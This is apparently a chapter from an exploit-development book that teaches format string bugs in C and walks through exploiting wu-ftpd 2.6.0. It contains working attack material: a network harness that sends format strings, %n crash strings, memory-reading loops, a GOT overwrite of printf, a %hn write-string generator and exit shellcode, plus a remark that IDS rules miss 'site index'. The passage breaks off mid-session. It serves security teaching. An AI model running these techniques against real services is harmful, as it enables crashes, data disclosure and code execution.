CHAPTER

4

Introduction to Format String Bugs

This chapter focuses on format string bugs in Linux, although this class of bug is not operating system–specific. In their most common form, format string bugs are a result of facilities for handling functions with variable arguments in the C programming language. Because it's really C that makes format string bugs possible, they affect every OS that has a C compiler, which is to say, almost every OS in existence.

For a discussion of precisely why format string bugs exist at all, see the "Why Did This Happen?" section at the end of this chapter.

Prerequisites

To understand this chapter, you will need a basic knowledge of the C family of programming languages, as well as a basic knowledge of IA32 assembly. A working knowledge of Linux would be useful, but is not essential.

What Is a Format String?

To understand what a format string is, you need to understand the problem that format strings solve. Most programs output textual data in some form, often including numerical data. Say, for example, that a program wanted to output a string containing an amount of money. The actual amount might be held within the program in the form of a double-precision floating-point number, like this:

```
double AmountInSterling;
```

Say the amount in pounds sterling is £30432.36. We would like to output the amount exactly as written—preceded by a pound sign (£), with a decimal point and two places after it. In the absence of format strings, we would have to write a fairly substantial amount of code just to format a number in this way, and even then, it would likely work only for the double-data type and the pounds sterling currency. Format strings provide a more generic solution to this problem by allowing a string to be output that includes the values of variables, formatted precisely as dictated by the programmer. To output the number as specified, we would simply call the `printf` function, which outputs the string to the process's standard output (stdout):

```
printf( "£%.2f\n", AmountInSterling );
```

The first parameter to this function is the format string. This specifies a constant string with placeholders that specify where variables are to be substituted into the string. To output a double using a format string, you use the format specifier `%f`. You can control aspects of how the data is output using the flags, width, and precision components of the format specifier—in this case, we are using the precision component to specify that we require two places after the decimal point. We do not make use of the width and precision components in this simple example.

Just so you get the flavor of it, here is another example that outputs an ASCII reference, with the characters specified in decimal, hex, and their ASCII equivalents:

```
#include <stdlib.h>
#include <stdio.h>

int main( int argc, char *argv[] )
{
      int c;

      printf( "Decimal Hex Character\n" );
      printf( "======= === =========\n" );

      for( c = 0x20; c < 256; c++ )
      {
             switch( c )
             {
```

```
                    case 0x0a:
                    case 0x0b:
                    case 0x0c:
                    case 0x0d:
                    case 0x1b:
                          printf( " %03d %02x \n", c, c );
                          break;
                    default:
                          printf( " %03d %02x %c\n", c, c, c );
                          break;
              }
       }

       return 1;
}
```

The output looks like this:

```
Decimal   Hex   Character
=======   ===   =========
    032    20
    033    21           !
    034    22           "
    035    23           #
    036    24           $
    037    25           %
    038    26           &
    039    27           '
    040    28           (
    041    29           )
    042    2a           *
    043    2b           +
    044    2c           ,
    045    2d           -
    046    2e           .
```

Note that in this example we are displaying the character in three different ways—using three different format specifiers—and with different width specifiers to make sure everything lines up nicely.

What Is a Format String Bug?

A *format string bug* occurs when user-supplied data is included in the format specification string of one of the `printf` family of functions, including

```
printf
fprintf
sprintf
```

```
snprintf
vfprintf
vprintf
vsprintf
vsnprintf
```

and any similar functions on your platform that accept a string that can contain C-style format specifiers, such as the `wprintf` functions on the Windows platforms. The attacker supplies a number of format specifiers that have no corresponding arguments on the stack, and values from the stack are used in their place. This leads to information disclosure and potentially the execution of arbitrary code.

As already discussed, `printf` functions are meant to be passed as a format string that determines how the output is laid out, and what set of variables are substituted into the format string. The following code will, for example, print out the square root of 2 to 4 decimal places:

```
printf("The square root of 2 is: %2.4f\n", sqrt( 2.0 ) );
```

However, strange behaviors occur if we provide a format string but omit the variables that are to be substituted. Here is a generic program that calls `printf` with the argument it is passed on the command line:

```
#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
        if( argc != 2 )
        {
                printf("Error - supply a format string please\n");
                return 1;
        }

        printf( argv[1] );
        printf( "\n" );

        return 0;
}
```

If we compile this like so:

```
cc fmt.c -o fmt
```

and call it as follows:

```
./fmt "%x %x %x %x"
```

we are effectively calling `printf` like this:

```
printf( "%x %x %x %x" );
```

The important thing here is that although we have supplied the format string, we haven't supplied the four numeric variables to be substituted into the string. Interestingly, `printf` doesn't fail, instead producing output that looks like this:

```
4015c98c 4001526c bffff944 bffff8e8
```

So `printf()` is unexpectedly obtaining four arguments from somewhere. These arguments are in fact coming from the stack.

This may initially appear not to be a problem; however, an attacker might possibly be able to see the contents of the stack. What does that mean? Well, in itself it might reveal sensitive information such as usernames and passwords, but the problem runs deeper than that. If we try supplying a large number of `%x` specifiers, like this:

```
./fmt
"AAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
```

we obtain some interesting results:

```
./fmt
"AAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"


AAAAAAAAAAAAAAAAAAA4001526cbffff7d880483e18049530804962cbffff8084003e280
2bffff834bffff84080482ae80484900bffff8084003e26a0bffff8404015abc040014d2
8280483000804832180484002bffff83480482988048490400 0cc20bffff82c400152cc2
bffff972bffff9780bffffa8ebffffab1bffffac3bffffae3bffffaf6bffffb08bffffb2
abffffb3cbffffb4ebffffb5bbffffb64bffffb6ebffffb85bffffd63bffffd71bffffd9
2bffffdadbffffdc2bffffdcfbffffddabffffdebbffffdf8bffffe00bffffe0fbffffe2
4bffffe34bffffe42bffffe50bffffe61bffffe6fbffffe7abffffe85bffffed6bffffee
5bffffef7bfffff0abfffff1bbfffff2bbfffffd6bfffffde0103febfbff610001164380
4803442056740000000080980483 00b0c0d0e0fbffff96d000000383669002f2e0036746d
6641414141414141414141414141414141412541414125782578257825782578257825
78257825782578257825782578257825782578257825782578257825782578
```

As you can see, we are pulling a large amount of data from the stack, but then toward the end of the string we see the hex-encoded representation of the beginning of our string:

```
41414141414141
```

This result is somewhat unexpected, but makes sense if you consider that the format string itself is held on the stack, so 4-byte segments from the string are being passed as the "numbers" to be substituted into the string. Therefore, we can get data from the stack in hex format.

What else can we do? Well, to take a look at a few of the different type conversion specifiers that we can use, look at:

```
man sprintf
```

We see a large number of conversion specifiers—`d`, `i`, `o`, `u` and `x` for integers; `e`, `f`, `g`, `a` for floating point; and `c` for characters. A few other interesting specifiers are present though, and these expect something other than a simple numeric argument:

> `s`—The argument is treated as a pointer to a string. The string is substituted into the output.
>
> `n`—The argument is treated as a pointer to an integer (or integer variant such as `short`). The number of characters output so far is stored in the address pointed to by the argument.

So, if we specify `%n` in the format string, the number of characters output so far is written to the location specified by the argument, thus:

```
./fmt "AAAAAAAAAAAAAAAAAA%n%n%n%n%n%n%n%n%n%n%n"
```

NOTE **Don't forget to add** `ulimit -c unlimted` **to ensure you get a core dump.**

This example is more interesting, and illustrates the danger inherent in allowing a user to specify format strings. Consulting the preceding description of `printf` format specifiers, you should see that the `%n` type specifier expects an address as its argument, and will write the number of characters output so far into that address. This means we can overwrite values stored at specific addresses, allowing us to take control of execution. Don't worry if you don't completely understand the implications of this right now; we will spend the rest of the chapter explaining it in detail.

Recalling the previous ASCII example, we can use the precision specifier to control the number of characters output; if we want to output 50 characters, we can specify `%050x`, which will output a hexadecimal integer padded with leading zeros until it contains exactly 50 digits.

Also, if you recall that the arguments to the `printf` function can be drawn from within the string itself—our `41414141` example above—you will see that we can use the `%n` specifier to write a value we control to the address of our choice.

Using these facts, we can run arbitrary code because the following conditions exist:

- We can control the values of the arguments, and we can write the number of characters output to anywhere in memory.
- The width specifier allows us to pad output to an almost arbitrary length—certainly to 255 characters. We can overwrite a single byte with the value of our choice.
- We can do this four times, so we can overwrite almost any 4 bytes with the value of our choice. Overwriting 4 bytes allows the attacker to overwrite addresses. We might have problems writing to addresses with `00` bytes because the `00` byte terminates a string in C. We can probably get around these problems by writing 2 bytes starting at the address before it, however.
- Because we can generally guess the address of a function pointer (saved return address, binary import table, C++ vtable) we can cause a string that we supply to be executed as code.

It is worth clearing up several common misconceptions relating to format string attacks:

- They don't just affect Unix.
- They aren't necessarily stack based.
- Stack protection mechanisms will not generally defend against them.
- They can generally be detected with static code analysis tools.

The security advisory of the Van Dyke VShell SSH Gateway for Windows format string vulnerability provides a good illustration of these points and can be found at `http://nvd.nist.gov/nvd.cfm?cvename=CVE-2001-0155`.

This is quite a severe vulnerability. An arbitrary code execution vulnerability in a component that authenticates users effectively removes all access control from that component. In this case, a skilled attacker could capture the plaintext of all user sessions with relative ease, or take control of the system with ease.

To summarize, a format string bug occurs when user-supplied data is included in the format specification string of one of the `printf` family of functions. The attacker supplies a number of format specifiers that have no corresponding arguments on the stack, and values from the stack are used in their place. This leads to information disclosure and potentially the execution of arbitrary code.

Format String Exploits

When a `printf` family function is called, the parameters to the function are passed on the stack. As we mentioned earlier, if too few parameters are passed to the function, the `printf` function will take the next values from the stack and use those instead.

Normally, the format string is stored on the stack, so we can use the format string itself to supply arguments that the `printf` function will use when evaluating format specifiers.

We have already shown that in some cases format string bugs can be used to display the contents of the stack. Format string bugs can, more usefully, be used to run arbitrary code, using variations on the `%n` specifier (we will return to this later). Another, more interesting way of exploiting a format string bug is to use the `%n` specifier to modify values in memory in order to change the behavior of the program in some fundamental way. For example, a program might store a password for some administrative feature in memory. That password can be null-terminated using the `%n` specifier, which would allow access to that administrative feature with a blank password. User ID (UID) and group ID (GID) values are also good targets—if a program is granting or revoking access to some resource, or changing its privilege level in some manner that is dependent on values in memory, those values can be arbitrarily modified to cripple the security of the program. In terms of subtlety, format strings can't be beaten.

So that we have a concrete example to play with, we'll take a look at the Washington University FTP daemon, which was vulnerable (in version 2.6.0) to a couple of format string bugs. You can find the original CERT advisory on these bugs at `www.cert.org/advisories/CA-2000-13.html`.

This is an interesting demonstration bug because it has many desirable features from the point of view of a working example:

- The source code is available, and the vulnerable version can be easily downloaded and configured.
- It is a remote-root bug (that can be triggered using the "anonymous" account) so it represented a very real threat.
- A single process handles the control connection so we can perform multiple writes in the same address space.
- We get the result of our format string echoed back to us so we can easily demonstrate information retrieval.

You will need a Linux box with gcc, gdb, and all the tools to download wu-ftpd 2.6.0 from `ftp://ftp.wu-ftpd.org/pub/wu-ftpd-attic/wu-ftpd-2.6.0.tar.gz`.

You might also want to get wu-ftpd-2.6.0.tar.gz.asc and verify that the file hasn't been modified, although it's up to you.

Follow the directions and install and configure wu-ftpd. You should of course bear in mind that by installing this, you are laying your machine open to anyone with a wu-ftpd exploit (which is to say, everyone) so take appropriate precautions, such as unplugging yourself from the network or using a defensive firewall configuration. It would be embarrassing to be owned by someone using the same bug that you're using to learn about format string bugs. So please be careful.

Crashing Services

Occasionally, when attacking a network, all you want to do is crash a specific service. For example, if you are performing an attack involving name resolution, you might want to crash the DNS server. If a service is vulnerable to a format string problem, it is possible to crash it very easily.

So let's take our example, the wu-ftpd problem. The Washington University FTP daemon version 2.6.0 (and earlier) was vulnerable to a typical format string bug in the `site exec` command. Here is a sample session:

```
[root@attacker]# telnet victim 21
Trying 10.1.1.1...
Connected to victim (10.1.1.1).
Escape character is '^]'.
220 victim FTP server (Version wu-2.6.0(2) Wed Apr 30 16:08:29 BST 2003) ready.
user anonymous
331 Guest login ok, send your complete e-mail address as password.
pass foo
230 User anonymous logged in.
site exec %x %x %x %x %x %x %x %x
200-8 8 bfffcacc 0 14 0 14 0
200  (end of '%x %x %x %x %x %x %x %x')
site index %x %x %x %x %x %x %x %x
200-index 9 9 bfffcacc 0 14 0 14 0
200  (end of 'index %x %x %x %x %x %x %x %x')
quit
221-You have transferred 0 bytes in 0 files.
221-Total traffic for this session was 448 bytes in 0 transfers.
221-Thank you for using the FTP service on vulcan.ngssoftware.com.
221 Goodbye.
Connection closed by foreign host.
[root@attacker]#
```

As you can see, by specifying `%x` in the `site exec` and (more interestingly) `site index` commands, we have been able to extract values from the stack in the manner described above.

Were we to have supplied this command:

```
site index %n%n%n%n
```

wu-ftpd would have attempted to write the integer `0` to the addresses `0x8`, `0x8`, `0xbfffcacc`, and `0x0`, causing a segmentation fault since `0x8` and `0x0` aren't normally writable addresses. Let's try it:

```
site index %n%n%n%n

Connection closed by foreign host.
```

Incidentally, not many people know that the `site index` command is vulnerable, so you can bet that most IDS signatures won't be looking for it. Certainly, at the time of writing, the default Snort rule base catches only `site exec`.

Information Leakage

Continuing with our wu-ftpd 2.6.0 example, let's look at how we can extract information.

We've already seen how to get information from the stack—let's use the technique "in anger" with wu-ftpd and see what we get.

First, let's cook up a quick and dirty test harness that lets us easily submit a format string via a `site index` command. Call it `dowu.c`:

```
#include <stdio.h>  #include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>


int connect_to_server(char*host){
     struct hostent *hp;
     struct sockaddr_in cl;
     int sock;

     if(host==NULL||*host==(char)0){
                    fprintf(stderr,"Invalid hostname\n");

             exit(1);
```

```
        }

       if((cl.sin_addr.s_addr=inet_addr(host))==-1)
       {
               if((hp=gethostbyname(host))==NULL)
               {
                       fprintf(stderr,"Cannot resolve %s\n",host);
exit(1);
               }

               memcpy((char*)&cl.sin_addr,(char*)hp-
>h_addr,sizeof(cl.sin_addr));

        }
        if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
        {

               fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
               exit(1);
        }

        cl.sin_family=PF_INET;
        cl.sin_port=htons(21);

        if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1)
        {
            fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
        }

        return sock;
   }


  int receive_from_server( int s, int print )
  {
       int retval;
       char buff[ 1024 * 64];

       memset( buff, 0, 1024 * 64 );
       retval = recv( s, buff, (1024 * 63), 0 );
       if( retval > 0 )
       {
             if( print )
                   printf( "%s", buff );
       }
       else
       {
             if( print)
                      printf( "Nothing to recieve\n" );
```

```
                return 0;
            }

            return 1;
        }

      int ftp_send( int s, char *psz )
    {
            send( s, psz, strlen( psz ), 0 );
            return 1;
      }


        int syntax()
        {
            printf("Use\ndo_wu <host> <format string>\n");
            return 1;
      }


       int main( int argc, char *argv[] )
       {
              int s;
              char buff[ 1024 * 64 ];
              char tmp[ 4096 ];

           if( argc != 4 )
                   return syntax();

               s = connect_to_server( argv[1] );

               if( s <= 0 )
                       _exit( 1 );

              receive_from_server( s, 0 );

              ftp_send( s, "user anonymous\n" );
              receive_from_server( s, 0 );
              ftp_send( s, "pass foo@example.com\n" );

              receive_from_server( s, 0 );

            if( atoi( argv[3] ) == 1 )
            {
                   printf("Press a key to send the string...\n");
                   getc( stdin );
            }

               strcat( buff, "site index " );
               sprintf( tmp, "%.4000s\n", argv[2] );
```

```
            strcat( buff, tmp );

            ftp_send( s, buff );

            receive_from_server( s, 1 );

            shutdown( s, SHUT_RDWR );

        return 1;
    }
```

Compile this code (after substituting in the credentials of your choice) and run it.

Let's start with the basic stack pop:

```
./dowu localhost "%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x" 0
```

You should get something like this:

```
00-index 12 12 bfffca9c 0 14 0 14 0 8088bc0 0 0 0 0 0 0 0 0
```

Do we really need all those `%x`s? Well, not really. On most *nix's, we can use a feature known as *direct parameter access*. Note that above, the third value output from the stack was `bfffca9c`.

Try this:

```
./dowu localhost "%3\$x" 0
```

You should see:

```
200-index bfffca9c
```

We have directly accessed the third parameter and output it. This leads to the interesting possibility of outputting data from `esp` onwards, by specifying its offset.

Let's batch this up and see what's on the stack:

```
for(( i = 1; i < 1000; i++)); do echo -n "$i " && ./dowu localhost "%$i\$x" 0; done
```

That gives us the first 1,000 dwords of data on the stack, some of which might be interesting.

We can also use the `%s` specifier, just in case some of those values are pointers to interesting strings:

```
for(( i = 1; i < 1000; i++)); do echo -n "$i " && ./dowu localhost "%$i\$s" 0; done
```

Since we can use the `%s` specifier to retrieve strings, we can try to retrieve strings from an arbitrary location in memory. To do this, we need to work out where on the stack the string that we're submitting begins. So, we do something like this:

```
for(( i = 1; i < 1000; i++)); do echo -n "$i " && ./dowu localhost "AAA
AAAAAAAAAAAAA%$i\$x" 0; done | grep 4141
```

to get the location in the parameter list of the `41414141` output (the beginning of the format string). On my box that's 272, but yours may vary.

Proceeding with that example, let's modify the beginning of our string and look at what we have in parameter 272:

```
./dowu localhost "BBBA%272\$x" 0
```

We get:

```
200-index BBBA41424242
```

which shows that the 4 bytes at the beginning of our string are parameter 272. So let's use that to read an arbitrary address in memory.

Let's start with a simple case that we know exists:

```
for(( i = 1; i < 1000; i++)); do echo -n "$i " && ./dowu localhost "%$i\$s" 0; done
```

At parameter 187 I get this:

```
200-index BBBA%s FTP server (%s) ready.
```

So let's get the address of that string, using the `%x` specifier:

```
./dowu localhost "BBBA%187\$x" 0
200-index BBBA8064d55
```

We can now try to retrieve the string at `0x08064d55` like this:

```
./dowu localhost $'\x55\x4d\x06\x08%272$s' 0
200-index U%s FTP server (%s) ready.
```

Note that we had to reverse the bytes in the "address" at the beginning of our format string because the I386 series of processors is little-endian.

We can now retrieve any data we like from memory, even a dump of the entire address space, just by specifying the address we choose at the beginning of the string, and using direct parameter access to get the data.

If the platform you're attacking doesn't support direct parameter access (for example, Windows), you can normally reach the parameter that stores the beginning of your string just by putting enough specifiers into your format string.

You might have a problem with this because the target process may impose a limit on the size of your string. There are a couple of possible workarounds for this. Since you're trying to reach the chosen parameter by popping data off the stack, you can make use of specifiers that take larger arguments, such as the `%f` specifier (which takes a *double*, an 8-byte floating-point number, as its parameter). This may not be terribly reliable, however; sometimes the floating-point routines are optimized out of the target process resulting in an error when you use the `%f` specifier. Also, you occasionally get division-by-zero errors, so you might want to use `%.f`, which will print only the integer part of the number, avoiding the division by zero.

Another possibility is the `*` qualifier, which specifies that the length output for a given parameter will be specified by the parameter that immediately precedes it. For example:

```
printf("%*d", 10, 123);
```

will print out the number 123, padded with leading spaces to a length of 10 characters. Some platforms allow this syntax:

```
%*********10d
```

which always prints out ten characters. This means that we can approach a 4-bytes-popped-to-1-byte-of-format string ratio.

Controlling Execution for Exploitation

We can therefore retrieve all the data we like from the target process, but now we want to run code. As a starting point, let's try writing a dword (4 bytes) of our choice into the address of our choice, in wu-ftpd. The objective here is to write to a function pointer, saved return address, or something similar, and get the path of execution to jump to our code.

First, let's write some value to the location of our choice. Remember that parameter 272 is the beginning of our string in wu-ftpd? Let's see what happens if we try and write to a location in memory:

```
./dowu localhost $'\x41\x41\x41\x41%272$n' 1
```

If you use gdb to trace the execution of wu-ftpd, you'll see that we just tried to write `0x0000000a` to the address `0x41414141`.

Note that depending on your platform and version of gdb, your gdb might not support the following child processes, so I put a hook into dowu.c to accommodate this. If you enter a `1` for the third command-line argument, dowu.c will pause until you press a key before sending the format string to the server, giving you time to locate the appropriate child process and attach gdb to it.

Let's run:

```
./dowu localhost $'\x41\x41\x41\x41%272$n' 1
```

You should see the request `Press a key to send the string`. Let's now find the child process:

```
ps -aux | grep ftp
```

You should see something like this:

```
root     32710  0.0  0.2  2016  700 ?        S    May07   0:00 ftpd: accepting c
ftp      11821  0.0  0.4  2120 1052 ?        S    16:37   0:00 ftpd: localhost.l
```

The instance running as `ftp` is the child. So we fire up gdb and then write

```
attach 11821
```

to attach to the child process. You should see something like this:

```
Attaching to process 11821
0x4015a344 in ?? ()
```

Type `continue` to tell gdb to continue.

If you switch to the dowu terminal and press Enter, then switch back to the gdb terminal, you should see something like this:

```
Program received signal SIGSEGV, Segmentation fault.
0x400d109c in ?? ()
```

However, we need to know more. Let's see what instruction we were executing:

```
x/5i $eip

0x400d109c:     mov    %edi,(%eax)
0x400d109e:     jmp    0x400cf84d
0x400d10a3:     mov    0xfffff9b8(%ebp),%ecx
0x400d10a9:     test   %ecx,%ecx
0x400d10ab:     je     0x400d10d0
```

If we then get the values of the registers:

```
info reg

eax            0x41414141       1094795585
ecx            0xbfff9c70       -1073767312
edx            0x0      0
ebx            0x401b298c       1075521932
esp            0xbfff8b70       0xbfff8b70
ebp            0xbfffa908       0xbfffa908
esi            0xbfff8b70       -1073771664
edi            0xa      10
```

and so on, we see that the `mov %edi,(%eax)` instruction is trying to `mov` the value `0xa` into the address `0x41414141`. This is pretty much what you'd expect.

Now let's find something meaningful to overwrite. There are many targets to choose from, including:

- The saved return address (a straight stack overflow; use information disclosure techniques to determine the location of the return address)
- The Global Offset Table (GOT) (dynamic relocations for functions; great if someone is using the same binary as you are; for example, rpm)
- The destructors (DTORS) table (destructors get called just before `exit`)
- C library hooks such as malloc_hook, realloc_hook and free_hook
- The atexit structure (see the man atexit)
- Any other function pointer, such as C++ vtables, callbacks, and so on
- In Windows, the default unhandled exception handler, which is (nearly) always at the same address

Since we're being lazy, we'll use the GOT technique, since it allows flexibility, is fairly simple to use, and opens the way to more subtle format string exploits. Let's look briefly at the vulnerable part of wu-ftpd before we look at the GOT:

```
   void vreply(long flags, int n, char *fmt, va_list ap)
   {
       char buf[BUFSIZ];

       flags &= USE_REPLY_NOTFMT | USE_REPLY_LONG;
         if (n)                      /* if numeric is 0, don't output one; use n==0
in place of printf's */
           sprintf(buf, "%03d%c", n, flags & USE_REPLY_LONG ? '-' : ' ');
       /* This is somewhat of a kludge for autospout.  I personally think that
        * autospout should be done differently, but that's not my department. -Kev
        */       if (flags & USE_REPLY_NOTFMT)
           snprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), "%s", fmt);
```

```
        else
            vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap);

        if (debug)                  /* debugging output :) */
            syslog(LOG_DEBUG, "<--- %s", buf);
        /* Yes, you want the debugging output before the client output; wrapping
         * stuff goes here, you see, and you want to log the cleartext and send
         * the wrapped text to the client.
         */

        printf("%s\r\n", buf);      /* and send it to the client */
    #ifdef TRANSFER_COUNT
        byte_count_total += strlen(buf);
        byte_count_out += strlen(buf);
    #endif
        fflush(stdout);
    }
```

Note the bolded line. The interesting point is that there's a call to `printf` right after the vulnerable call to `vsnprintf`. Let's take a look at the GOT for `in.ftpd`:

```
objdump -R /usr/sbin/in.ftpd
```

<lots of output>

```
0806d3b0 R_386_JUMP_SLOT   printf
```

<lots more output>

We see that we could redirect execution simply by modifying the value stored at `0x0806d3b0`. Our format string will overwrite this value and then (because wuftpd calls `printf` right after doing what we tell it to in our format string) jump to wherever we like.

If we repeat the write we did before, we'll end up overwriting the address of `printf` with `0xa`, and thus, hopefully, jumping to `0xa`:

```
./dowu localhost $'\xb0\xd3\x06\x08%272$n' 1
```

If we attach gdb to our child ftp process as before, we should see this:

```
(gdb) symbol-file /usr/sbin/in.ftpd
Reading symbols from /usr/sbin/in.ftpd...done.
(gdb) attach 11902
Attaching to process 11902
0x4015a344 in ?? ()
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x0000000a in ?? ()
```

We have successfully redirected the execution path to the location of our choice. In order to do something meaningful we're going to need shellcode—see Chapter 3 for an overview of shellcode.

Let's take a small amount of shellcode that we know will work, a call to `exit(2)`.

NOTE **In general, I find it's better to use inline assembler when developing exploits, because it lets you play around more easily. You can create an exploit harness that does all the socket connection and easily writes snippets of shellcode if something isn't working or if you want to do something slightly different. Inline assembler is also a lot more readable than a C string constant of hex bytes.**

```
#include <stdio.h>
#include <stdlib.h>

int main()
{
        asm("\
                xor %eax, %eax;\
                xor %ecx, %ecx;\
                xor %edx, %edx;\
                mov $0x01, %al;\
                xor %ebx, %ebx;\
                mov $0x02, %bl;\
                int $0x80;\
                ");

        return 1;
}
```

Here, we're setting the `exit` syscall via `int 0x80`. Compile and run the code and verify that it works.

Since we need only a few bytes, we can use the `GOT` as the location to hold our code. The address of `printf` is stored at `0x0806d3b0`. Let's write just after it, say at `0x0806d3b4` onward.

This raises the question of how we write a large value to the address of our choice. We already know that we can use `%n` to write a small value to the address of our choice. In theory, therefore, we could perform four writes of 1 byte each, using the low-order byte of our "characters output so far" counter. This will of course overwrite 3 bytes adjacent to the value that we're writing.

A more efficient method is to use the `h` length modifier. A following integer conversion corresponds to a short `int` or unsigned short `int` argument, or a following `n` conversion corresponds to a pointer to a short `int` argument.

So if we use the specifier `%hn` we will write a 16-bit quantity. We will probably be able to use length specifiers in the 64K range, so let's give this a try:

```
./dowu localhost $'\xb0\xd3\x06\x08%50000x%272$n' 1
```

We get this:

```
Program received signal SIGSEGV, Segmentation fault.
0x0000c35a in ?? ()
```

`c35a` is `50010`, which is exactly what we'd expect. At this point we need to clarify how this value (`0xc35a`) gets written.

Let's backtrack a little and run this:

```
./do_wu localhost abc 0
```

wu-ftpd outputs this:

```
200-index abc
```

The format string we're supplying is added to the end of the string index (which is six characters long). This means that when we use a `%n` specifier, we're writing the following number:

```
6 + <number of characters in our string before the %n> + <padding number>
```

So, when we do this:

```
./dowu localhost $'\xb0\xd3\x06\x08%50000x%272$n' 1
```

we write (6 + 4 + 50000) to the address `0x0806d3b0`; in hex, `0xc35a`. Now let's try writing `0x41414141` to the address of `printf`:

```
./dowu localhost $'\xb0\xd3\x06\x08\xb2\xd3\x06\x08%16691x%272$n%273$n' 1
```

We get:

```
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

So we jumped to `0x41414141`. This was kind of cheating, since we wrote the same value (`0x4141`) twice—once to the address pointed to by parameter 272 and once to 273, just by specifying another positional parameter—`%273$n`.

If we want to write a whole series of bytes, the string will get complicated. The following will make it easier for us

```
#include <stdio.h>
#include <stdlib.h>
```

```
int safe_strcat( char *dest, char *src, unsigned dest_len )
{
     if( ( dest == NULL ) || ( src == NULL ) )
             return 0;

        if ( strlen( src ) + strlen( dest ) + 10 >= dest_len )
             return 0;

     strcat( dest, src );

     return 1;
}

int err( char *msg )
{
     printf("%s\n", msg);
     return 1;
}

int main( int argc, char *argv[] )
{
     // modify the strings below to upload different data to the wu-ftpd process...
     char *string_to_upload = "mary had a little lamb";
     unsigned int addr = 0x0806d3b0;

     // this is the offset of the parameter that 'contains' the start of our string.
     unsigned int param_num = 272;
     char buff[ 4096 ] = "";
     int buff_size = 4096;
     char tmp[ 4096 ] = "";
     int i, j, num_so_far = 6, num_to_print, num_so_far_mod;
     unsigned short s;
     char *psz;
     int num_addresses, a[4];

     // first work out How many addresses there are. num bytes / 2 + num bytes mod 2.

     num_addresses = (strlen( string_to_upload ) / 2) + strlen( string_to_upload) % 2;

     for( i = 0; i < num_addresses; i++ )
     {
            a[0] = addr & 0xff;
            a[1] = (addr & 0xff00) >> 8;
            a[2] = (addr & 0xff0000) >> 16;
            a[3] = (addr) >> 24;

            sprintf( tmp, "\\x%.02x\\x%.02x\\x%.02x\\x%.02x", a[0], a[1], a[2], a[3] );

            if( !safe_strcat( buff, tmp, buff_size ))
                    return err("Oops. Buffer too small.");
```

```
            addr += 2;

            num_so_far += 4;
      }

      printf( "%s\n", buff );

      // now upload the string 2 bytes at a time. Make sure that num_so_far is
appropriate by doing %2000x or whatever.
      psz = string_to_upload;

      while( (*psz != 0) && (*(psz+1) != 0) )
      {
            // how many chars to print to make (so_far % 64k)==s
            //
            s = *(unsigned short *)psz;

            num_so_far_mod = num_so_far &0xffff;

            num_to_print = 0;

            if( num_so_far_mod < s )
                    num_to_print = s - num_so_far_mod;
            else
                    if( num_so_far_mod > s )
                          num_to_print = 0x10000 - (num_so_far_mod - s);

            // if num_so_far_mod and s are equal, we'll 'output' s anyway :o)
            num_so_far += num_to_print;

            // print the difference in characters
            if( num_to_print > 0 )
            {
                    sprintf( tmp, "%%%dx", num_to_print );
                    if(!safe_strcat( buff, tmp, buff_size ))
                           return err("Buffer too small.");
            }

            // now upload the 'short' value
            sprintf( tmp, "%%%d$hn", param_num );
            if( !safe_strcat( buff, tmp, buff_size ))
                    return err("Buffer too small.");

            psz += 2;
            param_num++;
      }

      printf( "%s\n", buff );
```

```
        sprintf( tmp, "./dowu localhost $'%s' 1\n", buff );

        system( tmp );

        return 0;
}
```

This program will act as a harness for the dowu code we wrote earlier, uploading a string (`mary had a little lamb`) to an address within the `GOT`.

If we debug wu-ftpd and look at the location in memory that we just overwrote we should see:

```
x/s 0x0806d3b0

0x806d3b0 <_GLOBAL_OFFSET_TABLE_+416>:   "mary had a little
lamb\026@\220ð\017@V¥\004…(etc)
```

We see we can now put an arbitrary sequence of bytes pretty much wherever we like in memory. We're now ready to move on to the exploit.

If you compile the `exit` shellcode above then debug it in gdb, you obtain the following sequence of bytes representing the assembler instructions:

```
\x31\xc0\x31\xc9\x31\xd2\xb0\x01\x31\xdb\xb3\x02\xcd\x80
```

This gives us the following string constant to upload using the `gen_upload_string.c` code above:

```
char *string_to_upload =
"\xb4\xd3\x06\x08\x31\xc0\x31\xc9\x31\xd2\xb0\x01\x31\xdb\xb3\x02\xcd\x80";
// exit(0x02);
```

There's a slight hack here that should be explained. The initial 4 bytes of this string are overwriting the `printf` entry in the `GOT`, jumping to the address of our choice when the program calls `printf` after executing the vulnerable `vsnprintf()`. In this case, we're just overwriting the `GOT`, starting at the `printf` entry and continuing with our shellcode. This is, of course, a terrible hack but it does illustrate the technique with a minimum of fuss. Remember, you are reading a hacking book, so don't expect everything to be totally clean!

When we run our new `gen_upload` string, it results in the following gdb session:

```
[root@vulcan format_string]# ps -aux | grep ftp
…
